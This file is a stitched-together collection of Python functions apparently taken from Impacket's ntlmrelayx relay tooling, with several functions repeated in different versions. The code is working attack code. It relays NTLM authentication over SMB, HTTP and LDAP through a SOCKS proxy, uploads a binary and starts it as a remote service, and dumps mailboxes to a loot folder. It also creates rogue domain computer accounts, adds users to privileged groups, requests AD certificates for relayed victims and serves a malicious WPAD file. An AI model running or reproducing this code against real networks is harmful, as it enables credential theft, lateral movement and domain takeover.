def sendNegotiate(self,negotiateMessage): #Check if server wants auth self.session.request('GET', self.path) res = self.session.getresponse() res.read() if res.status != 401: LOG.info('Status code returned: %d. Authentication does not seem required for URL' % res.status) try: if 'NTLM' not in res.getheader('WWW-Authenticate'): LOG.error('NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) return False except (KeyError, TypeError): LOG.error('No authentication requested by the server for url %s' % self.targetHost) return False #Negotiate auth negotiate = base64.b64encode(negotiateMessage) headers = {'Authorization':'NTLM %s' % negotiate} self.session.request('GET', self.path ,headers=headers) res = self.session.getresponse() res.read() try: serverChallengeBase64 = re.search('NTLM ([a-zA-Z0-9+/]+={0,2})', res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from server')
def activeConnectionsWatcher(server): while True: # This call blocks until there is data, so it doesn't loop endlessly target, port, scheme, userName, client, data = activeConnections.get() # ToDo: Careful. Dicts are not thread safe right? if (target in server.activeRelays) is not True: server.activeRelays[target] = {} if (port in server.activeRelays[target]) is not True: server.activeRelays[target][port] = {} if (userName in server.activeRelays[target][port]) is not True: LOG.info('SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port)) server.activeRelays[target][port][userName] = {} # This is the protocolClient. Needed because we need to access the killConnection from time to time. # Inside this instance, you have the session attribute pointing to the relayed session. server.activeRelays[target][port][userName]['protocolClient'] = client server.activeRelays[target][port][userName]['inUse'] = False server.activeRelays[target][port][userName]['data'] = data # Just for the CHALLENGE data, we're storing this general server.activeRelays[target][port]['data'] = data # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use server.activeRelays[target][port]['scheme'] = scheme else: LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port)) client.killConnection()
def do_kerberos_login(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') username = '' password = '' domain = '' if len(l) > 0: username = l[0] if len(l) > 1: password = l[1] if username.find('/') > 0: domain, username = username.split('/') if domain == '': LOG.error("Domain must be specified for Kerberos login") return if password == '' and username != '': from getpass import getpass password = getpass("Password:"******"GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) #TODO: Check if a cache is better because there is no way to know which target was selected for this victim # except for relying on the targetprocessor selecting the same target unless a relay was already done self.target = self.targetprocessor.getTarget() LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True #Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error("Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
def __init__(self, server_address=('0.0.0.0', 1080), handler_class=SocksRequestHandler): LOG.info('SOCKS proxy started. Listening at port %d', server_address[1] ) self.activeRelays = {} self.socksPlugins = {} self.restAPI = None self.activeConnectionsWatcher = None self.supportedSchemes = [] SocketServer.TCPServer.allow_reuse_address = True SocketServer.TCPServer.__init__(self, server_address, handler_class) # Let's register the socksplugins plugins we have from impacket.examples.ntlmrelayx.servers.socksplugins import SOCKS_RELAYS for relay in SOCKS_RELAYS: LOG.info('%s loaded..' % relay.PLUGIN_NAME) self.socksPlugins[relay.PLUGIN_SCHEME] = relay self.supportedSchemes.append(relay.PLUGIN_SCHEME) # Let's create a timer to keep the connections up. self.__timer = RepeatedTimer(KEEP_ALIVE_TIMER, keepAliveTimer, self) # Let's start our RESTful API self.restAPI = Thread(target=webService, args=(self, )) self.restAPI.daemon = True self.restAPI.start() # Let's start out worker for active connections self.activeConnectionsWatcher = Thread(target=activeConnectionsWatcher, args=(self, )) self.activeConnectionsWatcher.daemon = True self.activeConnectionsWatcher.start()
def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00') except Exception as e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e else: # It exists, remove it scmr.hRDeleteService(self.rpcsvc, resp['lpServiceHandle']) scmr.hRCloseServiceHandle(self.rpcsvc, resp['lpServiceHandle']) # Create the service command = '%s\\%s' % (path, self.__binary_service_name) try: resp = scmr.hRCreateServiceW(self.rpcsvc, handle,self.__service_name + '\x00', self.__service_name + '\x00', lpBinaryPathName=command + '\x00', dwStartType=scmr.SERVICE_DEMAND_START) except: LOG.critical("Error creating service %s on %s" % (self.__service_name, self.connection.getRemoteHost())) raise else: return resp['lpServiceHandle']
def activeConnectionsWatcher(server): while True: # This call blocks until there is data, so it doesn't loop endlessly target, port, scheme, userName, client, data = activeConnections.get() # ToDo: Careful. Dicts are not thread safe right? if server.activeRelays.has_key(target) is not True: server.activeRelays[target] = {} if server.activeRelays[target].has_key(port) is not True: server.activeRelays[target][port] = {} if server.activeRelays[target][port].has_key(userName) is not True: LOG.info('SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port)) server.activeRelays[target][port][userName] = {} # This is the protocolClient. Needed because we need to access the killConnection from time to time. # Inside this instance, you have the session attribute pointing to the relayed session. server.activeRelays[target][port][userName]['protocolClient'] = client server.activeRelays[target][port][userName]['inUse'] = False server.activeRelays[target][port][userName]['data'] = data # Do we have admin access in this connection? try: LOG.debug("Checking admin status for user %s" % str(userName)) isAdmin = client.isAdmin() server.activeRelays[target][port][userName]['isAdmin'] = isAdmin except Exception as e: # Method not implemented server.activeRelays[target][port][userName]['isAdmin'] = 'N/A' LOG.debug("isAdmin returned: %s" % server.activeRelays[target][port][userName]['isAdmin']) # Just for the CHALLENGE data, we're storing this general server.activeRelays[target][port]['data'] = data # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use server.activeRelays[target][port]['scheme'] = scheme else: LOG.info('Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port)) client.killConnection()
def do_login_hash(self,line): if self.smb is None: LOG.error("No connection open") return l = line.split(' ') domain = '' if len(l) > 0: username = l[0] if len(l) > 1: hashes = l[1] else: LOG.error("Hashes needed. Format is lmhash:nthash") return if username.find('/') > 0: domain, username = username.split('/') lmhash, nthash = hashes.split(':') self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash) self.username = username self.lmhash = lmhash self.nthash = nthash if self.smb.isGuestSession() > 0: LOG.info("GUEST Session Granted") else: LOG.info("USER Session Granted") self.loggedIn = True
def run(self): while True: mtime = os.stat(self.targetprocessor.filename).st_mtime if mtime > self.lastmtime: LOG.info('Targets file modified - refreshing') self.lastmtime = mtime self.targetprocessor.readTargets() time.sleep(1.0)
def install(self): if self.connection.isGuestSession(): LOG.critical("Authenticated as Guest. Aborting") self.connection.logoff() del self.connection else: fileCopied = False serviceCreated = False # Do the stuff here try: # Let's get the shares shares = self.getShares() self.share = self.findWritableShare(shares) if self.share is None: return False self.copy_file(self.__exeFile ,self.share,self.__binary_service_name) fileCopied = True svcManager = self.openSvcManager() if svcManager != 0: serverName = self.connection.getServerName() if self.share.lower() == 'admin$': path = '%systemroot%' else: if serverName != '': path = '\\\\%s\\%s' % (serverName, self.share) else: path = '\\\\127.0.0.1\\' + self.share service = self.createService(svcManager, self.share, path) serviceCreated = True if service != 0: # Start service LOG.info('Starting service %s.....' % self.__service_name) try: scmr.hRStartServiceW(self.rpcsvc, service) except: pass scmr.hRCloseServiceHandle(self.rpcsvc, service) scmr.hRCloseServiceHandle(self.rpcsvc, svcManager) return True except Exception as e: LOG.critical("Error performing the installation, cleaning up: %s" %e) LOG.debug("Exception", exc_info=True) try: scmr.hRControlService(self.rpcsvc, service, scmr.SERVICE_CONTROL_STOP) except: pass if fileCopied is True: try: self.connection.deleteFile(self.share, self.__binary_service_name) except: pass if serviceCreated is True: try: scmr.hRDeleteService(self.rpcsvc, service) except: pass return False
def run(self): #Default action: Search the INBOX targetBox = self.config.mailbox result, data = self.client.select(targetBox,True) #True indicates readonly if result != 'OK': LOG.error('Could not open mailbox %s: %s' % (targetBox, data)) LOG.info('Opening mailbox INBOX') targetBox = 'INBOX' result, data = self.client.select(targetBox,True) #True indicates readonly inboxCount = int(data[0]) LOG.info('Found %s messages in mailbox %s' % (inboxCount, targetBox)) #If we should not dump all, search for the keyword if not self.config.dump_all: result, rawdata = self.client.search(None, 'OR', 'SUBJECT', '"%s"' % self.config.keyword, 'BODY', '"%s"' % self.config.keyword) #Check if search worked if result != 'OK': LOG.error('Search failed: %s' % rawdata) return dumpMessages = [] #message IDs are separated by spaces for msgs in rawdata: dumpMessages += msgs.split(' ') if self.config.dump_max != 0 and len(dumpMessages) > self.config.dump_max: dumpMessages = dumpMessages[:self.config.dump_max] else: #Dump all mails, up to the maximum number configured if self.config.dump_max == 0 or self.config.dump_max > inboxCount: dumpMessages = list(range(1, inboxCount+1)) else: dumpMessages = list(range(1, self.config.dump_max+1)) numMsgs = len(dumpMessages) if numMsgs == 0: LOG.info('No messages were found containing the search keywords') else: LOG.info('Dumping %d messages found by search for "%s"' % (numMsgs, self.config.keyword)) for i, msgIndex in enumerate(dumpMessages): #Fetch the message result, rawMessage = self.client.fetch(msgIndex, '(RFC822)') if result != 'OK': LOG.error('Could not fetch message with index %s: %s' % (msgIndex, rawMessage)) continue #Replace any special chars in the mailbox name and username mailboxName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', targetBox) textUserName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username) #Combine username with mailboxname and mail number fileName = 'mail_' + textUserName + '-' + mailboxName + '_' + str(msgIndex) + '.eml' #Write it to the file with open(os.path.join(self.config.lootdir,fileName),'w') as of: of.write(rawMessage[0][1]) LOG.info('Done fetching message %d/%d' % (i+1,numMsgs)) #Close connection cleanly self.client.logout()
def skipAuthentication(self): # See if the user provided authentication data = self.socksSocket.recv(self.packetSize) # Get headers from data headerDict = self.getHeaders(data) try: creds = headerDict['authorization'] if 'Basic' not in creds: raise KeyError() basicAuth = base64.b64decode(creds[6:]) self.username = basicAuth.split(':')[0].upper() if '@' in self.username: # Workaround for clients which specify users with the full FQDN # such as ruler user, domain = self.username.split('@', 1) # Currently we only use the first part of the FQDN # this might break stuff on tools that do use an FQDN # where the domain NETBIOS name is not equal to the part # before the first . self.username = '******' % (domain.split('.')[0], user) # Check if we have a connection for the user if self.activeRelays.has_key(self.username): # Check the connection is not inUse if self.activeRelays[self.username]['inUse'] is True: LOG.error('HTTP: Connection for %s@%s(%s) is being used at the moment!' % ( self.username, self.targetHost, self.targetPort)) return False else: LOG.info('HTTP: Proxying client session for %s@%s(%s)' % ( self.username, self.targetHost, self.targetPort)) self.session = self.activeRelays[self.username]['protocolClient'].session else: LOG.error('HTTP: No session for %s@%s(%s) available' % ( self.username, self.targetHost, self.targetPort)) return False except KeyError: # User didn't provide authentication yet, prompt for it LOG.debug('No authentication provided, prompting for basic authentication') reply = ['HTTP/1.1 401 Unauthorized','WWW-Authenticate: Basic realm="ntlmrelayx - provide a DOMAIN/username"','Connection: close','',''] self.socksSocket.send(EOL.join(reply)) return False # When we are here, we have a session # Point our socket to the sock attribute of HTTPConnection # (contained in the session), which contains the socket self.relaySocket = self.session.sock # Send the initial request to the server tosend = self.prepareRequest(data) self.relaySocket.send(tosend) # Send the response back to the client self.transferResponse() return True
def writeRestoreData(self, restoredata, domaindn): output = {} domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] output['config'] = {'server':self.client.server.host,'domain':domain} output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}] now = datetime.datetime.now() filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S") # Save the json to file with codecs.open(filename, 'w', 'utf-8') as outfile: json.dump(output, outfile) LOG.info('Saved restore state to %s', filename)
def run(self): LOG.info("Setting up HTTP Server") # changed to read from the interfaceIP set in the configuration self.server = self.HTTPServer((self.config.interfaceIp, 80), self.HTTPHandler, self.config) try: self.server.serve_forever() except KeyboardInterrupt: pass LOG.info('Shutting down HTTP Server') self.server.server_close()
def createService(self, handle, share, path): LOG.info("Creating service %s on %s....." % (self.__service_name, self.connection.getRemoteHost())) # First we try to open the service in case it exists. If it does, we remove it. try: resp = scmr.hROpenServiceW(self.rpcsvc, handle, self.__service_name+'\x00') except Exception, e: if str(e).find('ERROR_SERVICE_DOES_NOT_EXIST') >= 0: # We're good, pass the exception pass else: raise e
def addComputer(self, parent, domainDumper): """ Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can also be an OU or other container where we have write privileges """ global alreadyAddedComputer if alreadyAddedComputer: LOG.error('New computer already added. Refusing to add another') return # Random password newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) # Get the domain we are in domaindn = domainDumper.root domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] # Random computername newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() computerHostname = newComputer[:-1] newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') # Default computer SPNs spns = [ 'HOST/%s' % computerHostname, 'HOST/%s.%s' % (computerHostname, domain), 'RestrictedKrbHost/%s' % computerHostname, 'RestrictedKrbHost/%s.%s' % (computerHostname, domain), ] ucd = { 'dnsHostName': '%s.%s' % (computerHostname, domain), 'userAccountControl': 4096, 'servicePrincipalName': spns, 'sAMAccountName': newComputer, 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') } LOG.debug('New computer info %s', ucd) LOG.info('Attempting to create computer in: %s', parent) res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd) if not res: # Adding computers requires LDAPS if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.') else: LOG.error('Failed to add a new computer: %s' % str(self.client.result)) return False else: LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) alreadyAddedComputer = True # Return the SAM name return newComputer
def getTarget(self, choose_random=False): if len(self.candidates) > 0: if choose_random is True: return random.choice(self.candidates) else: return self.candidates.pop() else: if len(self.originalTargets) > 0: self.candidates = [x for x in self.originalTargets if x not in self.finishedAttacks] else: #We are here, which means all the targets are already exhausted by the client LOG.info("All targets processed!") return self.candidates.pop()
def getShares(self): # Setup up a DCE SMBTransport with the connection already in place LOG.info("Requesting shares on %s....." % (self.connection.getRemoteHost())) try: self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\srvsvc', smb_connection = self.connection) dce_srvs = self._rpctransport.get_dce_rpc() dce_srvs.connect() dce_srvs.bind(srvs.MSRPC_UUID_SRVS) resp = srvs.hNetrShareEnum(dce_srvs, 1) return resp['InfoStruct']['ShareInfo']['Level1'] except: LOG.critical("Error requesting shares on %s, aborting....." % (self.connection.getRemoteHost())) raise
def do_open(self,line): l = line.split(' ') port = 445 if len(l) > 0: host = l[0] if len(l) > 1: port = int(l[1]) if port == 139: self.smb = SMBConnection('*SMBSERVER', host, sess_port=port) else: self.smb = SMBConnection(host, host, sess_port=port) dialect = self.smb.getDialect() if dialect == SMB_DIALECT: LOG.info("SMBv1 dialect used") elif dialect == SMB2_DIALECT_002: LOG.info("SMBv2.0 dialect used") elif dialect == SMB2_DIALECT_21: LOG.info("SMBv2.1 dialect used") else: LOG.info("SMBv3.0 dialect used") self.share = None self.tid = None self.pwd = '' self.loggedIn = False self.password = None self.lmhash = None self.nthash = None self.username = None
def openSvcManager(self): LOG.info("Opening SVCManager on %s....." % self.connection.getRemoteHost()) # Setup up a DCE SMBTransport with the connection already in place self._rpctransport = transport.SMBTransport(self.connection.getRemoteHost(), self.connection.getRemoteHost(),filename = r'\svcctl', smb_connection = self.connection) self.rpcsvc = self._rpctransport.get_dce_rpc() self.rpcsvc.connect() self.rpcsvc.bind(scmr.MSRPC_UUID_SCMR) try: resp = scmr.hROpenSCManagerW(self.rpcsvc) except: LOG.critical("Error opening SVCManager on %s....." % self.connection.getRemoteHost()) raise Exception('Unable to open SVCManager') else: return resp['lpScHandle']
def addUserToGroup(self, userDn, domainDumper, groupDn): global alreadyEscalated # For display only groupName = groupDn.split(',')[0][3:] userName = userDn.split(',')[0][3:] # Now add the user as a member to this group res = self.client.modify(groupDn, { 'member': [(ldap3.MODIFY_ADD, [userDn])]}) if res: LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName)) LOG.info('Privilege escalation succesful, shutting down...') alreadyEscalated = True _thread.interrupt_main() else: LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))
def copy_file(self, src, tree, dst): LOG.info("Uploading file %s" % dst) if isinstance(src, str): # We have a filename fh = open(src, 'rb') else: # We have a class instance, it must have a read method fh = src f = dst pathname = string.replace(f,'/','\\') try: self.connection.putFile(tree, pathname, fh.read) except: LOG.critical("Error uploading file %s, aborting....." % dst) raise fh.close()
def initConnection(self): rpctransport = transport.DCERPCTransportFactory(self.stringbinding) if self.serverConfig.rpc_use_smb: LOG.info( "Authenticating to smb://%s:%d with creds provided in cmdline" % (self.target.netloc, self.serverConfig.rpc_smb_port)) rpctransport.set_credentials(self.serverConfig.smbuser, self.serverConfig.smbpass, self.serverConfig.smbdomain, \ self.serverConfig.smblmhash, self.serverConfig.smbnthash) rpctransport.set_dport(self.serverConfig.rpc_smb_port) self.session = MYDCERPC_v5(rpctransport) self.session.set_auth_level(rpcrt.RPC_C_AUTHN_LEVEL_PKT_PRIVACY) self.session.connect() return True
def findWritableShare(self, shares): # Check we can write a file on the shares, stop in the first one for i in shares['Buffer']: if i['shi1_type'] == srvs.STYPE_DISKTREE or i['shi1_type'] == srvs.STYPE_SPECIAL: share = i['shi1_netname'][:-1] try: self.connection.createDirectory(share,'BETO') except: # Can't create, pass LOG.critical("share '%s' is not writable." % share) pass else: LOG.info('Found writable share %s' % share) self.connection.deleteDirectory(share,'BETO') return str(share) return None
def SmbComNegotiate(self, connId, smbServer, SMBCommand, recvPacket): connData = smbServer.getConnectionData(connId, checkStatus = False) if self.config.disableMulti: if self.config.mode.upper() == 'REFLECTION': self.targetprocessor = TargetsProcessor(singleTarget='SMB://%s:445/' % connData['ClientIP']) self.target = self.targetprocessor.getTarget(multiRelay=False) if self.target is None: LOG.info('SMBD-%s: Connection from %s controlled, but there are no more targets left!' % (connId, connData['ClientIP'])) return [smb.SMBCommand(smb.SMB.SMB_COM_NEGOTIATE)], None, STATUS_BAD_NETWORK_NAME LOG.info("SMBD-%s: Received connection from %s, attacking target %s://%s" % (connId, connData['ClientIP'], self.target.scheme, self.target.netloc)) try: if recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY == 0: extSec = False else: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") extSec = False recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) else: extSec = True # Init the correct client for our target client = self.init_client(extSec) except Exception as e: LOG.error( "Connection against target %s://%s FAILED: %s" % (self.target.scheme, self.target.netloc, str(e))) self.targetprocessor.logTarget(self.target) else: connData['SMBClient'] = client connData['EncryptionKey'] = client.getStandardSecurityChallenge() smbServer.setConnectionData(connId, connData) else: if (recvPacket['Flags2'] & smb.SMB.FLAGS2_EXTENDED_SECURITY) != 0: if self.config.mode.upper() == 'REFLECTION': # Force standard security when doing reflection LOG.debug("Downgrading to standard security") recvPacket['Flags2'] += (~smb.SMB.FLAGS2_EXTENDED_SECURITY) return self.origSmbComNegotiate(connId, smbServer, SMBCommand, recvPacket)
def getTarget(self, choose_random=False): if len(self.candidates) > 0: if choose_random is True: return random.choice(self.candidates) else: return self.candidates.pop() else: if len(self.originalTargets) > 0: self.candidates = [ x for x in self.originalTargets if x not in self.finishedAttacks ] else: #We are here, which means all the targets are already exhausted by the client LOG.info("All targets processed!") return self.candidates.pop()
def run(self): LOG.info("Setting up HTTP Server") if self.config.listeningPort: httpport = self.config.listeningPort else: httpport = 80 # changed to read from the interfaceIP set in the configuration self.server = self.HTTPServer((self.config.interfaceIp, httpport), self.HTTPHandler, self.config) try: self.server.serve_forever() except KeyboardInterrupt: pass LOG.info('Shutting down HTTP Server') self.server.server_close()
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob auth = base64.b64encode(token) headers = {'Authorization':'NTLM %s' % auth} self.session.request('GET', self.path,headers=headers) res = self.session.getresponse() if res.status == 401: return None, STATUS_ACCESS_DENIED else: LOG.info('HTTP server returned error code %d, treating as a succesful login' % res.status) #Cache this self.lastresult = res.read() return None, STATUS_SUCCESS
def sendAuth(self, authenticateMessageBlob, serverChallenge=None): if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP: respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) token = respToken2['ResponseToken'] else: token = authenticateMessageBlob auth = base64.b64encode(token) headers = {'Authorization':'NTLM %s' % auth} self.session.request('GET', self.path,headers=headers) res = self.session.getresponse() if res.status == 401: return None, STATUS_ACCESS_DENIED else: LOG.info('HTTP server returned error code %d, treating as a successful login' % res.status) #Cache this self.lastresult = res.read() return None, STATUS_SUCCESS
def run(self): LOG.info("Setting up WCF Server") if self.config.listeningPort: wcfport = self.config.listeningPort else: wcfport = 9389 # ADWS # changed to read from the interfaceIP set in the configuration self.server = self.WCFServer((self.config.interfaceIp, wcfport), self.WCFHandler, self.config) try: self.server.serve_forever() except KeyboardInterrupt: pass LOG.info('Shutting down WCF Server') self.server.server_close()
def addUserToGroup(self, userDn, domainDumper, groupDn): global alreadyEscalated # For display only groupName = groupDn.split(',')[0][3:] userName = userDn.split(',')[0][3:] # Now add the user as a member to this group res = self.client.modify(groupDn, {'member': [(ldap3.MODIFY_ADD, [userDn])]}) if res: LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName)) LOG.info('Privilege escalation succesful, shutting down...') alreadyEscalated = True _thread.interrupt_main() else: LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))
def generate_csr(self, key, CN, altName): LOG.info("Generating CSR...") req = crypto.X509Req() req.get_subject().CN = CN if altName: req.add_extensions([ crypto.X509Extension( b"subjectAltName", False, b"otherName:1.3.6.1.4.1.311.20.2.3;UTF8:%b" % altName.encode()) ]) req.set_pubkey(key) req.sign(key, "sha256") return crypto.dump_certificate_request(crypto.FILETYPE_PEM, req)
def activeConnectionsWatcher(server): while True: # This call blocks until there is data, so it doesn't loop endlessly target, port, scheme, userName, client, data = activeConnections.get() # ToDo: Careful. Dicts are not thread safe right? if (target in server.activeRelays) is not True: server.activeRelays[target] = {} if (port in server.activeRelays[target]) is not True: server.activeRelays[target][port] = {} if (userName in server.activeRelays[target][port]) is not True: LOG.info( 'SOCKS: Adding %s@%s(%s) to active SOCKS connection. Enjoy' % (userName, target, port)) server.activeRelays[target][port][userName] = {} # This is the protocolClient. Needed because we need to access the killConnection from time to time. # Inside this instance, you have the session attribute pointing to the relayed session. server.activeRelays[target][port][userName][ 'protocolClient'] = client server.activeRelays[target][port][userName]['inUse'] = False server.activeRelays[target][port][userName]['data'] = data # Just for the CHALLENGE data, we're storing this general server.activeRelays[target][port]['data'] = data # Let's store the protocol scheme, needed be used later when trying to find the right socks relay server to use server.activeRelays[target][port]['scheme'] = scheme # Default values in case somebody asks while we're gettting the data server.activeRelays[target][port][userName]['isAdmin'] = 'N/A' # Do we have admin access in this connection? try: LOG.debug("Checking admin status for user %s" % str(userName)) isAdmin = client.isAdmin() server.activeRelays[target][port][userName][ 'isAdmin'] = isAdmin except Exception as e: # Method not implemented server.activeRelays[target][port][userName]['isAdmin'] = 'N/A' pass LOG.debug("isAdmin returned: %s" % server.activeRelays[target][port][userName]['isAdmin']) else: LOG.info( 'Relay connection for %s at %s(%d) already exists. Discarding' % (userName, target, port)) client.killConnection()
def _run(self): key = crypto.PKey() key.generate_key(crypto.TYPE_RSA, 4096) if self.username in ELEVATED: LOG.info('Skipping user %s since attack was already performed' % self.username) return csr = self.generate_csr(key, self.username) csr = csr.decode().replace("\n", "").replace("+", "%2b").replace(" ", "+") LOG.info("CSR generated!") data = "Mode=newreq&CertRequest=%s&CertAttrib=CertificateTemplate:%s&TargetStoreFlags=0&SaveCert=yes&ThumbPrint=" % (csr, self.config.template) headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0", "Content-Type": "application/x-www-form-urlencoded", "Content-Length": len(data) } LOG.info("Getting certificate...") self.client.request("POST", "/certsrv/certfnsh.asp", body=data, headers=headers) ELEVATED.append(self.username) response = self.client.getresponse() if response.status != 200: LOG.error("Error getting certificate! Make sure you have entered valid certiface template.") return content = response.read() found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content.decode()) if len(found) == 0: LOG.error("Error obtaining certificate!") return certificate_id = found[0] self.client.request("GET", "/certsrv/certnew.cer?ReqID=" + certificate_id) response = self.client.getresponse() LOG.info("GOT CERTIFICATE!") certificate = response.read().decode() certificate_store = self.generate_pfx(key, certificate) LOG.info("Base64 certificate of user %s: \n%s" % (self.username, base64.b64encode(certificate_store).decode()))
def sendNegotiate(self, negotiateMessage): #Check if server wants auth self.session.request('GET', self.path) res = self.session.getresponse() res.read() if res.status != 401: LOG.info( 'Status code returned: %d. Authentication does not seem required for URL' % res.status) try: if 'NTLM' not in res.getheader( 'WWW-Authenticate') and 'Negotiate' not in res.getheader( 'WWW-Authenticate'): LOG.error( 'NTLM Auth not offered by URL, offered protocols: %s' % res.getheader('WWW-Authenticate')) return False if 'NTLM' in res.getheader('WWW-Authenticate'): self.authenticationMethod = "NTLM" elif 'Negotiate' in res.getheader('WWW-Authenticate'): self.authenticationMethod = "Negotiate" except (KeyError, TypeError): LOG.error('No authentication requested by the server for url %s' % self.targetHost) return False #Negotiate auth negotiate = base64.b64encode(negotiateMessage).decode("ascii") headers = { 'Authorization': '%s %s' % (self.authenticationMethod, negotiate) } self.session.request('GET', self.path, headers=headers) res = self.session.getresponse() res.read() try: serverChallengeBase64 = re.search( ('%s ([a-zA-Z0-9+/]+={0,2})' % self.authenticationMethod), res.getheader('WWW-Authenticate')).group(1) serverChallenge = base64.b64decode(serverChallengeBase64) challenge = NTLMAuthChallenge() challenge.fromString(serverChallenge) return challenge except (IndexError, KeyError, AttributeError): LOG.error('No NTLM challenge returned from server') return False
def run(self): if self.config.listeningPort: rawport = self.config.listeningPort else: rawport = 6666 LOG.info("Setting up RAW Server on port " + str(rawport)) # changed to read from the interfaceIP set in the configuration self.server = self.RAWServer((self.config.interfaceIp, rawport), self.RAWHandler, self.config) try: self.server.serve_forever() except KeyboardInterrupt: pass LOG.info('Shutting down RAW Server') self.server.server_close()
def __init__(self, request, client_address, server): self.server = server self.protocol_version = 'HTTP/1.1' self.challengeMessage = None self.client = None self.machineAccount = None self.machineHashes = None self.domainIp = None self.authUser = None self.wpad = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1")) return "DIRECT"; if (dnsDomainIs(host, "%s")) return "DIRECT"; return "PROXY %s:80; DIRECT";} ' LOG.info( "HTTPD: Received connection from %s, prompting for authentication", client_address[0]) try: SimpleHTTPServer.SimpleHTTPRequestHandler.__init__( self, request, client_address, server) except Exception as e: LOG.error(str(e)) LOG.debug(traceback.format_exc())
